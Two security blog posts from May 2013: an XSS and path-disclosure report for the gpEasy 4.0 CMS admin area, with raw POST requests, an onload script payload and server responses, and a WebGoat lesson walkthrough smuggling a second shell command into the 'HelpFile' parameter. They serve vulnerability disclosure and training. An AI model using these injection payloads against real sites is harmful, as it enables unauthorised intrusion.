Sunday 26 May 2013

[EN] gpEasy 4.0 XSS'ed


there is a new release of gpEasy CMS. This release has number 4.0.

I decide to post it here too.

Of course all vulnerable parts of this CMS are located in part dedicated to logged-in admin,
so maybe you should consider it as a low-level vulnerabilities (... csrf? ;) ).

Anyway, maybe few of you will find it interesting.

I should mention here, that gpEasy Team is developing better and better filters,
so we will see what they'll do in next version.

Here we go:

First one detailed below is XSS vulnerability.

Simple <script> tag is filtered out. Anyway this can be cheated like that:

POST /kuba/gpEasy4.0/gpEasy/index.php/Admin_Extra?gpreq=json&jsoncallback=jQuery183029823558424143826_1369418635239 HTTP/1.1
Cache-Control: no-cache

cmd=new_section&file=aaaaaaaaaaaa&type=<h1>aaaaaaaaaaaaaaaa<body onload=alert(/x/)>a<br>bbbbbbbbbbbbbbbbbbb</h1>&verified=95027f35b0&verified=95027f35b0&verified=95027f35b0&=Add%20New%20Area


and we will see at the response sourcecode that our payload was added correctly:

>Delete</a></td></tr><tr class=\"even\"><td style=\"white-space:nowrap\">aaaaaaaaaa
aa</td><td><h1>aaaaaaaaaaaaaaaa<body onload=alert(/x/)>a<br>bbbbbbbbbbbbbbb
bbbb</h1></td><td>\"<span class=\"admin_note\">New Section</span>...\"</td>
<td style=\"white-space:nowrap\"><a href=\"/kuba/gpEasy4.0/


similar situation in other place:

POST /kuba/gpEasy4.0/gpEasy/index.php/Admin_Extra?gpreq=json&jsoncallback=jQuery183029823558424143826_1369418635239 HTTP/1.1
Cache-Control: no-cache



Response will be similar.

Another situation when we have a little vuln is described below.
Durning some tests I found that gpEasy is presenting full path do wwwroot.
Check it out:

POST /kuba/gpEasy4.0/gpEasy/index.php/Admin_Configuration?gpreq=json&jsoncallback=jQuery183008074821283823352_1369418498905 HTTP/1.1
Cache-Control: no-cache


Response for this one looks like this:

HTTP/1.0 500 Internal Server Error
Date: Fri, 24 May 2013 18:07:02 GMT
Content-Type: text/html; charset=utf-8

<p>Oops, an error occurred while generating this page.<p><h3>Error Details</h3><pre>array(
   [type] =&gt; (integer)4
   [message] =&gt; (string)syntax error, unexpected ''in' (T_ENCAPSED_AND_WHITESPACE)
   [file] =&gt; (string)/home/kuba/public_html/gpEasy4.0/gpEasy/data/_site/config.php
   [line] =&gt; (integer)92
   [request] =&gt; (string)/kuba/gpEasy4.0/gpEasy/index.php/Admin_Configuration?gpreq=json&amp;jsoncallback=jQuery183008074821283823352_1369418498905
   [time] =&gt; (integer)1369418822
   [request_method] =&gt; (string)POST
   [file_modified] =&gt; (integer)1369418822
   [file_size] =&gt; (integer)3082
)</pre><p><a href="">Reload this page</a></p><p style="font-size:90%">Note: Error details are only displayed for logged in administrators</p>

HTML_TidypParameter is vulnerable, but if you want - you should test it again by yourself,
because I think it could be similar bug to that one I found in Drupal:
if you will send 'too much requests' to webapp, it will simple crash it (and error will be presented).

Thanks to gpEasy Team for a fast reply. Good job!

Cheers o/

Thursday 23 May 2013

[EN] Remote Code Execution - WebGoat lesson

WebGoat v5.4:

1.   Injection Flaws
1.1   Command Injection:

Welcome again in OWASP WebGoat lessons! After log in (webgoat:webgoat) we will go again to ‘Injection Flaws’ and this time to ‘Command Injection’.

In our browser, we should switch now to Burp proxy ( to prepare our requests/responses for Burp to edit. (If we can – we can use for this excersise Data Tamper too – you will find it at
While you’re in ‘Command Injection’ lesson, you can see that we must do here a little injection in parameter made for ‘reading files’ from local storage.

Ok. Now we must set ‘Intercept’ to ‘On’ in our Burp.

In the screen above, in red frame we have selected place which we will explore. Also we see a little ‘hint’ (selected by red frame too – starting from „ExecResults for…”

Now we’re able to see how ‘file reading’ is done here. We can assume that this ‘place’ is created like a system() command fromPHP, let’s say, it’s something similar to:

system(‘cmd.exe /c type „C:\Users\...\lesson_plans\English\BasicAuthentication.html”’);  
(Quotation mark and apostrophes ends path to file, we must pay attention to this place.)

Now (with ‘Intercept = On’) we can send to our webapp (WebGoat) ‘command’ to read one of selected file. Burp will catch this request, and now we should send it to ‘Repeater’:

Parameter „HelpFile” allows us to specify a file name to ‘read’ (by cmd.exe in this case). No user-input filtering (in this scenario: in ‘give me name of file to read’ parameter) allows to add ‘other (any) characters’.

So: after a name (of … .help) file, we can add another (and another…) command – remember how syntax should be builded (first red-frame).

To successfully make this attack and add ‘our command’ to command ‘read-file’ we must use URL-encoding because Windows is using “&” to connect commands (like | or ; in *nix/Linux).

Webapps use this sign (&) to separate from each other parameters. To avoid confusion here, we will now go to ‘Decoder’ cart in Burp. We should do few steps: “close” cmd.exe (read file X) in way, when we can add another (our) command. Let’s use ‘ver’ command from Windows.

If our case is:
(…)\lesson_plans\English\AccessControlMatrix.html"  ' (remember about „ and ‘ ). 

Our ‘payload’ should be “somewhere” between „ and ‘ sign. 

Ok, in Decoder (Burp) let’s try: ” & ver
and (on the right side of the window, select now ) ‘Encode as’ and choose ‘URL-encode’ method (to change alphabetic to equivalent in URL-encoding schema.

Vulnerability in this lesson, works like this: we can add another command (and another one – could be wrong – to finisz the statement; you will se below). I added few commands because in case that WebGoat will ‘miss the last command’ – I want to do ‘more’ commands, even if last one will not work. It won’t be important, vuln is right now exploited).

Now switch to ‘Repeater’ cart in Burp, and in a ‘HelpFile’ filename, let’s paste our URL-encoded value:

Click ‘Go’ to watch the response in window below.

Ok. Now click ‘show response in browser’ to see this (source code) response in browser.

Looks like that we already exploited RCE vulnerability. :) 

Congrats! ;)

And remember to use your knowledge only in legal projects ;)

Cheers o/